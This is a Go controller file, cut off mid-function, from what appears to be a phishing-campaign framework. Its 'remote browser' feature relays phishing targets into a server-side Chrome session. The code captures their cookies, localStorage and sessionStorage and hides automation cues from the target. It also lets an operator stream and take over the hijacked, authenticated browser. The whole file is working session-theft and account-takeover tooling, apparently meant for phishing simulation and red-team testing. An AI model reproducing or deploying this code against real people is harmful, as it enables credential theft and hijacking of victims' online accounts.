Files
phishingclub/backend/controller/remoteBrowser.go
Ronni Skansing a02e08fbfd Remote Browser Feature
Signed-off-by: Ronni Skansing <rskansing@gmail.com>
2026-05-15 14:07:49 +02:00

1469 lines
44 KiB
Go

package controller
import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"image"
"image/draw"
"image/jpeg"
"net/http"
"net/url"
"sync"
"sync/atomic"
"time"
"github.com/gin-gonic/gin"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/proto"
"github.com/google/uuid"
"github.com/gorilla/websocket"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/cache"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/remotebrowser"
"github.com/phishingclub/phishingclub/repository"
"github.com/phishingclub/phishingclub/service"
"github.com/phishingclub/phishingclub/utils"
"github.com/phishingclub/phishingclub/vo"
)
// activeSession tracks every victim WebSocket session from the moment it connects.
// Pointer identity is used by CompareAndDelete so a newer session's entry
// is never removed by an older session's defer cleanup.
// browserPage is nil until the JS script calls newSession(); once set the session
// can be streamed to an admin via StreamLiveSession.
type activeSession struct {
cancel context.CancelFunc
CampaignID uuid.UUID
RecipientID uuid.UUID
CRID uuid.UUID
CreatedAt time.Time
victimConnected atomic.Bool
// isKeepAlive is set when the JS script calls s.keepAlive(), meaning the
// browser is parked and available for operator takeover. A revisit from the
// victim must not cancel this session.
isKeepAlive atomic.Bool
// isTest marks sessions created by the test runner (RunByID) so they are
// excluded from the live session list shown to operators.
isTest bool
// browserPage is set (non-nil) only after newSession() is called.
browserPageMu sync.Mutex
browserPage *rod.Page
}
func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID }
func (a *activeSession) Cancel() { a.cancel() }
func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() }
func (a *activeSession) getBrowserPage() *rod.Page {
a.browserPageMu.Lock()
defer a.browserPageMu.Unlock()
return a.browserPage
}
func (a *activeSession) setBrowserPage(page *rod.Page) {
a.browserPageMu.Lock()
defer a.browserPageMu.Unlock()
a.browserPage = page
}
// streamInfo tracks a named cropped stream started by s.stream(selector, name).
// originX/Y are the element's CSS-pixel top-left corner (for input coord mapping).
// scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received
// (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight).
type streamInfo struct {
mu sync.RWMutex
originX float64
originY float64
scaleX float64
scaleY float64
boxSet bool // true once the first frame has been processed and scale is known
cancel context.CancelFunc
maxFps int
quality int // JPEG re-encode quality for cropped frames (0 = use default 92)
}
func (s *streamInfo) setOrigin(x, y float64) {
s.mu.Lock()
s.originX, s.originY = x, y
s.mu.Unlock()
}
func (s *streamInfo) setScale(sx, sy float64) {
s.mu.Lock()
s.scaleX, s.scaleY, s.boxSet = sx, sy, true
s.mu.Unlock()
}
// getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords.
func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) {
s.mu.RLock()
defer s.mu.RUnlock()
if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 {
return 0, 0, false
}
return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true
}
var RemoteBrowserColumnsMap = map[string]string{
"name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"),
"updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"),
"created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"),
"updated": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"),
}
var wsUpgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
if origin == "" {
return true // non-browser client (CLI, curl)
}
u, err := url.Parse(origin)
if err != nil {
return false
}
return u.Host == r.Host
},
}
func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config {
cfg := remotebrowser.DefaultConfig()
if mc, err := c.Get(); err == nil {
if mc.Mode == "local" || mc.Mode == "remote" {
cfg.Mode = mc.Mode
}
if cfg.Mode == "remote" {
cfg.Remote = mc.Remote
}
cfg.Proxy = mc.Proxy
cfg.Headless = mc.Headless
if mc.Timeout > 0 {
cfg.Timeout = mc.Timeout
}
}
return cfg
}
// RemoteBrowserController handles remote browser CRUD and live test runs.
type RemoteBrowserController struct {
Common
RemoteBrowserService *service.RemoteBrowser
RemoteBrowserRepository *repository.RemoteBrowser
CampaignRecipientRepository *repository.CampaignRecipient
CampaignRepository *repository.Campaign
CampaignService *service.Campaign
// ExecPath is the server-configured Chrome binary (from config.json).
// Platform admins cannot override this value.
ExecPath string
}
// Create creates a remote browser script.
func (m *RemoteBrowserController) Create(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
var req model.RemoteBrowser
if ok := m.handleParseRequest(g, &req); !ok {
return
}
id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"id": id.String()})
}
// GetOverview returns a lightweight list of remote browsers.
func (m *RemoteBrowserController) GetOverview(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
queryArgs, ok := m.handleQueryArgs(g)
if !ok {
return
}
queryArgs.DefaultSortByUpdatedAt()
queryArgs.RemapOrderBy(RemoteBrowserColumnsMap)
companyID := companyIDFromRequestQuery(g)
result, err := m.RemoteBrowserService.GetAllOverview(
companyID,
g.Request.Context(),
session,
&repository.RemoteBrowserOption{QueryArgs: queryArgs},
)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, result)
}
// GetAll returns full remote browser records with pagination.
func (m *RemoteBrowserController) GetAll(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
queryArgs, ok := m.handleQueryArgs(g)
if !ok {
return
}
queryArgs.DefaultSortByUpdatedAt()
queryArgs.RemapOrderBy(RemoteBrowserColumnsMap)
companyID := companyIDFromRequestQuery(g)
result, err := m.RemoteBrowserService.GetAll(
g.Request.Context(),
session,
companyID,
&repository.RemoteBrowserOption{QueryArgs: queryArgs},
)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, result)
}
// GetByID returns a single remote browser.
func (m *RemoteBrowserController) GetByID(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{})
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, rb)
}
// UpdateByID updates a remote browser.
func (m *RemoteBrowserController) UpdateByID(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
var req model.RemoteBrowser
if ok := m.handleParseRequest(g, &req); !ok {
return
}
err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"message": "Remote browser updated"})
}
// DeleteByID deletes a remote browser.
func (m *RemoteBrowserController) DeleteByID(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"message": "Remote browser deleted"})
}
// RunByID upgrades to WebSocket and executes the saved script, streaming
// RunEvents back in real time. The client may send {"type":"stop"} to abort.
func (m *RemoteBrowserController) RunByID(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{})
if ok := m.handleErrors(g, err); !ok {
return
}
cfg := modelConfigToRunnerConfig(rb.Config)
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
m.Logger.Warnw("websocket upgrade failed", "error", err)
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
scriptVal, _ := rb.Script.Get()
script := scriptVal.String()
runner := remotebrowser.NewRunner(script, cfg)
runner.ExecPath = m.ExecPath
ctx, cancel := context.WithCancel(g.Request.Context())
defer cancel()
// Register a synthetic activeSession so StreamLiveSession can stream this test run.
// Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs).
sess := &activeSession{
cancel: cancel,
CRID: *id,
CreatedAt: time.Now(),
isTest: true,
}
if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev {
prev.Cancel()
}
defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess)
// Forward BrowserCh into the session so StreamLiveSession sees a non-nil page.
go func() {
select {
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
case <-ctx.Done():
}
}()
// Tell the frontend the session ID to use for View/Control streaming.
if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil {
conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck
}
// Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming.
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
cancel()
return
}
var cmd struct {
Type string `json:"type"`
Event string `json:"event"`
Data json.RawMessage `json:"data"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
}
if cmd.Type == "stop" {
cancel()
return
}
if cmd.Event != "" {
var data interface{}
if len(cmd.Data) > 0 {
json.Unmarshal(cmd.Data, &data) //nolint:errcheck
}
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}:
default:
}
}
}
}()
// Drain StreamCh — test runner doesn't serve cropped streams.
go func() {
for range runner.StreamCh {
}
}()
// Run the script in a goroutine; Events channel is closed when done.
go runner.Run(ctx) //nolint:errcheck
// Write loop: forward every RunEvent to the WebSocket client.
for evt := range runner.Events {
data, err := json.Marshal(evt)
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
return
}
}
}
// ServeVictim is the public (no auth) WebSocket endpoint that victims connect to.
// The URL is /<seeded-ws-path>/:crID/:rbID where crID is the campaign recipient ID
// (the tracking token already embedded in the phishing page via {{.rID}}) and rbID
// is the remote browser script to run.
//
// The handler bridges victim WebSocket messages into the runner's Incoming channel and
// forwards runner events back to the victim. When the runner emits a "capture" event
// the cookies are saved as a CampaignEvent so they appear alongside AITM captures.
func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
crID, err := uuid.Parse(g.Param("crID"))
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
rbID, err := uuid.Parse(g.Param("rbID"))
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// look up campaign recipient to get campaignID / recipientID for capture saving
cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID)
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// look up remote browser script directly (no admin session on this public endpoint)
rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{})
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// verify the script belongs to the same company as the
// campaign. A script with no company (nil) is global and usable by any campaign.
if rbCompany, err := rb.CompanyID.Get(); err == nil {
cid, cidErr := cr.CampaignID.Get()
if cidErr != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{})
if campErr != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
campCompany, campCompanyErr := campaign.CompanyID.Get()
if campCompanyErr != nil || campCompany != rbCompany {
g.AbortWithStatus(http.StatusNotFound)
return
}
}
cfg := modelConfigToRunnerConfig(rb.Config)
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
var connMu sync.Mutex
scriptVal, _ := rb.Script.Get()
runner := remotebrowser.NewRunner(scriptVal.String(), cfg)
runner.ExecPath = m.ExecPath
campaignID, err1 := cr.CampaignID.Get()
recipientID, err2 := cr.RecipientID.Get()
if err1 != nil || err2 != nil {
g.AbortWithStatus(http.StatusInternalServerError)
return
}
ctx, cancel := context.WithCancel(g.Request.Context())
sess := &activeSession{
cancel: cancel,
CampaignID: campaignID,
RecipientID: recipientID,
CRID: crID,
CreatedAt: time.Now(),
}
sess.victimConnected.Store(true)
// One active session per campaign recipient — cancel any previous one.
// Exception: if the previous session is in keepAlive state the script has
// parked and is waiting for operator takeover; cancelling it would destroy
// a live browser the operator may be about to use. In that case put the
// old session back and drop the new connection instead.
crIDStr := crID.String()
if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev {
if prev.IsKeepAlive() {
m.RemoteBrowserService.StoreSession(crIDStr, prev)
cancel()
return
}
prev.Cancel()
}
defer func() {
m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess)
cancel()
}()
var activeNamedStreams sync.Map // name → *streamInfo
// victimVP stores the victim's viewport size sent on connect.
// Stored as int64 atomics so they can be read from the BrowserCh goroutine
// without a mutex; 0 means "not yet received".
var vpWidth, vpHeight atomic.Int64
// applyViewport sets the emulated viewport on the rod page if we have both a page
// and a non-zero victim viewport.
applyViewport := func(page *rod.Page) {
w := vpWidth.Load()
h := vpHeight.Load()
if w <= 0 || h <= 0 || page == nil {
return
}
proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
}.Call(page) //nolint:errcheck
}
// Read loop: forward victim events into the runner; route stream_input with coord offset.
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
sess.victimConnected.Store(false)
cancel()
return
}
var cmd struct {
Type string `json:"type"`
Event string `json:"event"`
Data json.RawMessage `json:"data"`
Name string `json:"name"`
Action string `json:"action"`
X float64 `json:"x"`
Y float64 `json:"y"`
Button string `json:"button"`
DeltaX float64 `json:"deltaX"`
DeltaY float64 `json:"deltaY"`
Key string `json:"key"`
Code string `json:"code"`
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"`
Width float64 `json:"width"`
Height float64 `json:"height"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
}
if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 {
vpWidth.Store(int64(cmd.Width))
vpHeight.Store(int64(cmd.Height))
applyViewport(sess.getBrowserPage())
continue
}
if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" {
if val, exists := activeNamedStreams.Load(cmd.Name); exists {
si := val.(*streamInfo)
// cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords.
cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y)
if ok {
if page := sess.getBrowserPage(); page != nil {
adjusted, _ := json.Marshal(map[string]interface{}{
"type": cmd.Action,
"x": cdpX,
"y": cdpY,
"button": cmd.Button,
"deltaX": cmd.DeltaX,
"deltaY": cmd.DeltaY,
"key": cmd.Key,
"code": cmd.Code,
"keyCode": cmd.KeyCode,
"modifiers": cmd.Modifiers,
"charText": cmd.CharText,
})
m.dispatchInput(page, adjusted)
}
}
}
continue
}
if cmd.Event == "" {
continue
}
var eventData interface{}
json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}:
default:
}
}
}()
go runner.Run(ctx) //nolint:errcheck
// As soon as the browser spawns, mark the session as streamable and apply
// the victim viewport if it was already received before the browser was ready.
go func() {
select {
case <-ctx.Done():
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
applyViewport(page)
}
}()
// Watch for s.stream(selector, name) / stop() calls from the script.
go func() {
for {
select {
case <-ctx.Done():
return
case cmd, ok := <-runner.StreamCh:
if !ok {
return
}
if cmd.Op == "start" {
if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists {
val.(*streamInfo).cancel()
}
streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext())
si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality}
activeNamedStreams.Store(cmd.Name, si)
go m.runNamedStream(streamCtx, cmd.Page, &connMu, conn, cmd.Selector, cmd.Name, si)
} else if cmd.Op == "stop" {
if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists {
val.(*streamInfo).cancel()
}
}
}
}
}()
clientIP := utils.ExtractClientIP(g.Request)
userAgent := g.Request.UserAgent()
m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, "victim connected", clientIP, userAgent)
// Write loop: forward script events back to the victim page; intercept captures and errors.
for evt := range runner.Events {
if evt.Type == "capture" {
m.saveCaptureEvent(g.Request.Context(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent)
}
if evt.Type == "submit" {
m.saveSubmitEvent(g.Request.Context(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent)
}
if evt.Type == "error" {
m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, evt.Message, clientIP, userAgent)
}
if evt.Type == "info" {
m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, evt.Message, clientIP, userAgent)
}
if evt.Type == "keep_alive" {
sess.isKeepAlive.Store(true)
select {
case page := <-runner.LiveCh:
sess.setBrowserPage(page)
m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent)
default:
}
}
if evt.Type == "log" {
m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID)
continue
}
// Skip server-side-only events: capture/submit (saved to DB), keep_alive (internal
// state), info (saved to DB), log (sent to logger), screenshot (reveals automation to victim).
if evt.Type == "capture" || evt.Type == "submit" || evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "screenshot" {
continue
}
payload, err := json.Marshal(map[string]interface{}{
"type": evt.Type,
"key": evt.Key,
"value": evt.Value,
})
if err != nil {
continue
}
connMu.Lock()
writeErr := conn.WriteMessage(websocket.TextMessage, payload)
connMu.Unlock()
if writeErr != nil {
return
}
}
}
// liveSessionInfo is the JSON shape returned by the live session list/get endpoints.
type liveSessionInfo struct {
CRID string `json:"crID"`
CampaignID string `json:"campaignID"`
RecipientID string `json:"recipientID"`
CreatedAt time.Time `json:"createdAt"`
VictimConnected bool `json:"victimConnected"`
CanStream bool `json:"canStream"` // true once newSession() has spawned a browser
}
func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo {
return liveSessionInfo{
CRID: sess.CRID.String(),
CampaignID: sess.CampaignID.String(),
RecipientID: sess.RecipientID.String(),
CreatedAt: sess.CreatedAt,
VictimConnected: sess.victimConnected.Load(),
CanStream: sess.getBrowserPage() != nil,
}
}
// ListLiveSessions returns all active victim sessions for the campaign, optionally
// filtered by campaignID query param.
func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
m.Response.Forbidden(g)
return
}
campaignFilter := g.Query("campaignID")
var sessions []liveSessionInfo
m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool {
sess := val.(*activeSession)
if sess.isTest {
return true
}
if campaignFilter == "" || sess.CampaignID.String() == campaignFilter {
sessions = append(sessions, m.sessionToInfo(sess))
}
return true
})
if sessions == nil {
sessions = []liveSessionInfo{}
}
m.Response.OK(g, sessions)
}
// CloseLiveSession terminates an active victim session by cancelling its context.
func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
m.Response.Forbidden(g)
return
}
crID := g.Param("crID")
val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID)
if !loaded {
g.AbortWithStatus(http.StatusNotFound)
return
}
val.Cancel()
m.Response.OK(g, map[string]string{"message": "live session closed"})
}
// StreamLiveSession upgrades to WebSocket and streams CDP screencast frames to
// the admin. When mode=control (query param) it also forwards mouse/keyboard
// input from the admin back into the browser.
func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) {
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
m.Response.Forbidden(g)
return
}
crIDStr := g.Param("crID")
val, exists := m.RemoteBrowserService.LoadSession(crIDStr)
if !exists {
g.AbortWithStatus(http.StatusNotFound)
return
}
sess := val.(*activeSession)
page := sess.getBrowserPage()
if page == nil {
// newSession() not called yet — no browser page to stream
g.AbortWithStatus(http.StatusServiceUnavailable)
return
}
controlMode := g.Query("mode") == "control"
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
// Buffer screencast frames; drop if the consumer (admin WS write) is slow.
frameCh := make(chan *proto.PageScreencastFrame, 8)
urlCh := make(chan string, 4)
wait := page.EachEvent(
func(e *proto.PageScreencastFrame) (stop bool) {
select {
case frameCh <- e:
default:
}
return
},
func(e *proto.PageFrameNavigated) (stop bool) {
if e.Frame.ParentID == "" { // main frame only
select {
case urlCh <- e.Frame.URL:
default:
}
}
return
},
func(e *proto.PageNavigatedWithinDocument) (stop bool) {
select {
case urlCh <- e.URL:
default:
}
return
},
)
go wait()
liveQ, liveW, liveH, liveN := 80, 1280, 800, 1
startScreencast := proto.PageStartScreencast{
Format: proto.PageStartScreencastFormatJpeg,
Quality: &liveQ,
MaxWidth: &liveW,
MaxHeight: &liveH,
EveryNthFrame: &liveN,
}
if err := startScreencast.Call(page); err != nil {
return
}
defer proto.PageStopScreencast{}.Call(page) //nolint:errcheck
// Send the current URL immediately so the frontend can populate the bar before the first frame.
info, err := page.Info()
if err == nil && info.URL != "" {
if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil {
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
}
}
// Admin input read loop (control mode only).
if controlMode {
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
m.dispatchInput(page, msg)
}
}()
}
// Frame + URL write loop.
for {
select {
case <-page.GetContext().Done():
// Victim session ended — tell the admin so the UI shows "Session ended".
conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck
return
case <-g.Request.Context().Done():
return
case u := <-urlCh:
payload, err := json.Marshal(map[string]string{"type": "url", "value": u})
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
case frame, ok := <-frameCh:
if !ok {
return
}
go proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(page) //nolint:errcheck
var frameW, frameH float64
if frame.Metadata != nil {
frameW = frame.Metadata.DeviceWidth
frameH = frame.Metadata.DeviceHeight
}
payload, err := json.Marshal(map[string]any{
"type": "frame",
"data": base64.StdEncoding.EncodeToString(frame.Data),
"width": frameW,
"height": frameH,
})
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
}
}
}
// dispatchInput routes a JSON input message from the admin WS into the browser via rod proto.
func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) {
var cmd struct {
Type string `json:"type"`
X float64 `json:"x"`
Y float64 `json:"y"`
Button string `json:"button"`
DeltaX float64 `json:"deltaX"`
DeltaY float64 `json:"deltaY"`
Key string `json:"key"`
Code string `json:"code"`
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"` // non-empty when keydown should also fire a char event
Text string `json:"text"` // paste payload
URL string `json:"url"` // navigate target
}
if json.Unmarshal(msg, &cmd) != nil {
return
}
btn := proto.InputMouseButtonLeft
if cmd.Button == "right" {
btn = proto.InputMouseButtonRight
}
mods := int(cmd.Modifiers)
switch cmd.Type {
case "mousemove":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseMoved,
X: cmd.X, Y: cmd.Y, Modifiers: mods,
}.Call(page) //nolint:errcheck
case "mousedown":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMousePressed,
X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods,
}.Call(page) //nolint:errcheck
case "mouseup":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseReleased,
X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods,
}.Call(page) //nolint:errcheck
case "scroll":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseWheel,
X: cmd.X, Y: cmd.Y, DeltaX: cmd.DeltaX, DeltaY: cmd.DeltaY, Modifiers: mods,
}.Call(page) //nolint:errcheck
case "keydown":
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeKeyDown,
Key: cmd.Key,
Code: cmd.Code,
WindowsVirtualKeyCode: int(cmd.KeyCode),
NativeVirtualKeyCode: int(cmd.KeyCode),
Modifiers: mods,
}.Call(page) //nolint:errcheck
if ct := cmd.CharText; ct != "" {
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeChar,
Key: ct,
Text: ct,
UnmodifiedText: ct,
Modifiers: mods,
}.Call(page) //nolint:errcheck
}
case "keyup":
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeKeyUp,
Key: cmd.Key,
Code: cmd.Code,
WindowsVirtualKeyCode: int(cmd.KeyCode),
NativeVirtualKeyCode: int(cmd.KeyCode),
Modifiers: mods,
}.Call(page) //nolint:errcheck
case "paste":
page.InsertText(cmd.Text) //nolint:errcheck
case "navigate":
if cmd.URL != "" {
if remotebrowser.ValidateNavigateURL(cmd.URL) == nil {
page.Navigate(cmd.URL) //nolint:errcheck
}
}
case "back":
page.NavigateBack() //nolint:errcheck
case "forward":
page.NavigateForward() //nolint:errcheck
}
}
// saveCaptureEvent converts a remote browser capture payload to the same bundle
// format used by AITM captures and saves it as a CampaignEvent so it appears in
// the campaign timeline and can be exported to session replay tools.
func (m *RemoteBrowserController) saveCaptureEvent(
ctx context.Context,
req *http.Request,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
captureValue interface{},
clientIP string,
userAgent string,
) {
// JSON round-trip so we have a consistent map[string]interface{} regardless of
// whether the value was a Go struct (network.Cookie) or already a map.
raw, err := json.Marshal(captureValue)
if err != nil {
return
}
var capture map[string]interface{}
if json.Unmarshal(raw, &capture) != nil {
return
}
// Build cookies map keyed by cookie name - matches the AITM cookie bundle format.
cookiesMap := map[string]interface{}{}
if arr, ok := capture["cookies"].([]interface{}); ok {
for _, c := range arr {
if cm, ok := c.(map[string]interface{}); ok {
name, _ := cm["name"].(string)
if name == "" {
continue
}
entry := map[string]string{
"name": name,
"value": stringField(cm, "value"),
"domain": stringField(cm, "domain"),
"path": stringField(cm, "path"),
"capture_time": time.Now().Format(time.RFC3339),
}
if b, _ := cm["secure"].(bool); b {
entry["secure"] = "true"
}
if b, _ := cm["httpOnly"].(bool); b {
entry["httpOnly"] = "true"
}
if ss, _ := cm["sameSite"].(string); ss != "" {
entry["sameSite"] = ss
}
// CDP returns expires as a float64 Unix timestamp; -1 means session cookie.
if exp, _ := cm["expires"].(float64); exp > 0 {
entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339)
}
cookiesMap[name] = entry
}
}
}
bundle := map[string]interface{}{
"capture_type": "cookie",
"source": "remote_browser",
"cookie_count": len(cookiesMap),
"bundle_time": time.Now().Format(time.RFC3339),
"session_complete": true,
"cookies": cookiesMap,
}
// include localStorage / sessionStorage if present
if ls, ok := capture["localStorage"]; ok && ls != nil {
bundle["localStorage"] = ls
}
if ss, ok := capture["sessionStorage"]; ok && ss != nil {
bundle["sessionStorage"] = ss
}
bundleJSON, err := json.Marshal(bundle)
if err != nil {
return
}
// Extract browser metadata (JA4, platform, accept-language) from the victim's
// WS upgrade request, gated on the campaign's SaveBrowserMetadata flag.
var metadata *vo.OptionalString1MB
if m.CampaignService != nil {
if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil {
metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign)
}
}
if metadata == nil {
metadata = vo.NewEmptyOptionalString1MB()
}
submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: submitDataEventID,
Metadata: metadata,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON))
if dataErr != nil {
m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr)
return
}
event.Data = eventData
if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil {
return
}
if m.CampaignService != nil {
m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck
}
}
func (m *RemoteBrowserController) saveInfoEvent(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
message string,
clientIP string,
userAgent string,
) {
infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO]
if infoEventID == nil {
